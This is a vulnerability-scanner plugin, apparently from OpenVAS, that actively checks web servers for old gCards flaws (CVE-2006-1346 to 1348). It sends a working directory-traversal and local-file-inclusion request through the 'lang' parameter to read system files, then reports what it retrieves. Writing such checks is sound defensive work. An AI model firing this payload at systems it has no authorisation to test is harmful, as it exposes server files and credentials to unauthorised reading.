gCards < 1.46 Multiple Vulnerabilities - Active Check

# SPDX-FileCopyrightText: 2008 Josh Zlatin-Amishav
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.80065");
  script_version("2025-07-18T15:43:33+0000");
  script_tag(name:"last_modification", value:"2025-07-18 15:43:33 +0000 (Fri, 18 Jul 2025)");
  script_tag(name:"creation_date", value:"2008-10-24 23:33:44 +0200 (Fri, 24 Oct 2008)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_cve_id("CVE-2006-1346", "CVE-2006-1347", "CVE-2006-1348");
  script_xref(name:"OSVDB", value:"24016");
  script_xref(name:"OSVDB", value:"24017");
  script_xref(name:"OSVDB", value:"24018");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("gCards < 1.46 Multiple Vulnerabilities - Active Check");

  script_category(ACT_ATTACK);

  script_family("Web application abuses");
  script_copyright("Copyright (C) 2008 Josh Zlatin-Amishav");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl",
                      "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl",
                      "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"gCards is prone to multiple vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends multiple HTTP GET requests and checks the responses.");

  script_tag(name:"insight", value:"gCards fails to sanitize user input to the 'setLang' parameter
  in the 'inc/setLang.php' script which is called by 'index.php'.");

  script_tag(name:"impact", value:"An unauthenticated attacker may be able to exploit this issue to
  read arbitrary local files or execute code from local files subject to the permissions of the web
  server user id.

  There are also reportedly other flaws in the installed application, including a directory
  traversal issue that allows reading of local files as well as a SQL injection (SQLi) and a
  cross-site scripting (XSS) issue.");

  script_tag(name:"solution", value:"Update to version 1.46 or later.");

  script_xref(name:"URL", value:"https://web.archive.org/web/20121025132424/http://retrogod.altervista.org/gcards_145_xpl.html");
  script_xref(name:"URL", value:"https://web.archive.org/web/20210121165634/http://www.securityfocus.com/bid/17165");
  script_xref(name:"URL", value:"https://web.archive.org/web/20180706142026/http://www.gregphoto.net/index.php/2006/03/27/gcards-146-released-due-to-security-issues/");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("traversal_func.inc");
include("os_func.inc");
include("port_service_func.inc");

port = http_get_port(default: 80);

if (!http_can_host_php(port: port))
  exit(0);

files = traversal_files();

foreach dir (make_list_unique("/gcards", http_cgi_dirs(port: port))) {
  if (dir == "/")
    dir = "";

  res = http_get_cache(port: port, item: dir + "/index.php");
  if (res !~ "^HTTP/1\.[01] 200" || !egrep(pattern: ">gCards</a> v.*Graphics by Greg gCards", string: res))
    continue;

  lang = "vuln-test";

  foreach pattern (keys(files)) {
    file = files[pattern];

    url = dir + "/index.php?setLang=" + lang + "&lang[" + lang +
                "][file]=../../../../../../../../../../../../" + file;

    req = http_get(item: url, port: port);
    res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);
    if (!res)
      continue;

    if (egrep(pattern:">gCards</a> v.*Graphics by Greg gCards", string:res) &&
        (egrep(pattern: pattern, string: res) ||
         egrep(pattern: "main\(inc/lang/.+/" + file + "\).+ failed to open stream: No such file or directory",
               string:res) ||
         egrep(pattern: "main.+ open_basedir restriction in effect\. File\(\./inc/lang/.+/" + file + "",
               string:res))) {
      if (egrep(pattern: pattern, string: res))
        content = res - strstr(res, '<!DOCTYPE HTML PUBLIC');

      if (content)
        report = 'It was possible to obtain the following content of the file ' + file + ' through ' +
                  http_report_vuln_url(port: port, url: url, url_only: TRUE) + ':\n\n' + chomp(content);
      else
        report = http_report_vuln_url(port: port, url: url);

      security_message(port: port, data: report);
      exit(0);
    }
  }
}

exit(99);